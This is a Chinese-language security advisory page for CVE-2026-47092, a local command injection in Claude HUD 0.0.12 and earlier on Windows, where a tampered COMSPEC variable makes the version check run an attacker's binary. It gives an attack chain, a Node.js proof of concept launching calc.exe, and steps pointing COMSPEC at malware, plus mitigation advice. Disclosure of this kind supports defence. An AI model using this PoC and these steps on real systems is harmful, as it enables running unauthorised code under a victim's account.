IPBUF安全漏洞报告
English
CVE-2026-47092 CVSS 7.8 高危

CVE-2026-47092 Claude HUD命令注入漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-47092
漏洞类型
命令注入
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Claude HUD

相关标签

命令注入代码执行Claude HUD环境变量本地攻击

漏洞概述

Claude HUD 0.0.12及之前版本在Windows系统上存在命令注入漏洞。由于程序在版本检查时未验证环境变量,本地攻击者可通过修改COMSPEC环境变量为恶意路径,诱导程序执行任意代码,造成系统安全风险。

技术细节

该漏洞源于Claude HUD在执行版本检查操作时使用了Node.js的`execFile`函数。在Windows环境下,该函数的行为受`COMSPEC`环境变量影响,该变量通常指向`cmd.exe`。攻击者可以将`COMSPEC`篡改为任意恶意二进制文件的路径。当Claude HUD尝试进行版本检查时,它会调用`execFile`,该函数随后读取被篡改的`COMSPEC`变量并执行攻击者指定的恶意程序,同时携带原本用于`cmd.exe`的参数。由于程序缺乏对环境变量的校验,这允许本地低权限攻击者无需用户交互即可执行任意代码,获取与当前用户相同的系统权限。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获得目标Windows系统的本地低权限用户访问权限。
STEP 2
2. 篡改环境变量
攻击者将系统环境变量`COMSPEC`的值修改为指向恶意可执行文件(如木马或后门程序)的路径。
STEP 3
3. 触发漏洞
等待或诱导Claude HUD执行版本检查操作。这可能通过程序自动更新检查或用户手动触发检查来实现。
STEP 4
4. 执行代码
Claude HUD调用`execFile`时,根据`COMSPEC`定位shell,结果执行了攻击者指定的恶意文件,导致代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-47092 // This PoC demonstrates the vulnerability by setting COMSPEC to a benign executable (calc.exe) // and simulating the version check behavior. const { execFile } = require('child_process'); const path = require('path'); // 1. Attacker sets the environment variable to a malicious path (simulated with calc.exe) process.env.COMSPEC = 'C:\\Windows\\System32\\calc.exe'; console.log(`[+] Exploit: COMSPEC set to ${process.env.COMSPEC}`); // 2. Vulnerable code simulation (extracted from typical version check logic) // The application attempts to execute a command, often relying on the system shell. // In the vulnerable version, the path to the shell is derived from process.env.COMSPEC. // Note: The actual vulnerable code likely calls execFile with a command that triggers shell usage // or explicitly references the environment variable for the shell path. // Here we simulate the call that leads to the execution of the binary set in COMSPEC. // Simulating the execution flow that resolves COMSPEC const shellPath = process.env.COMSPEC || 'cmd.exe'; const args = ['/c', 'echo Checking version...']; console.log(`[*] Attempting to execute: ${shellPath} ${args.join(' ')}`); // 3. Trigger execution // If vulnerable, calc.exe will open instead of just printing text or alongside it. execFile(shellPath, args, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } if (stderr) { console.error(`Stderr: ${stderr}`); return; } console.log(`Stdout: ${stdout}`); }); /* * Exploitation Steps: * 1. Ensure Claude HUD <= 0.0.12 is installed on Windows. * 2. Set COMSPEC environment variable to point to a malicious payload. * set COMSPEC=C:\path\to\malware.exe * 3. Trigger the Claude HUD version check (automatic or manual). * 4. Observe that malware.exe is executed with the privileges of the user running Claude HUD. */

影响范围

Claude HUD <= 0.0.12

防御指南

临时缓解措施
建议用户立即更新Claude HUD到修复了此漏洞的版本。如果无法立即更新,应限制该软件的运行权限,并监控系统中环境变量的异常修改。在未打补丁的环境中,避免以管理员权限运行Claude HUD。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表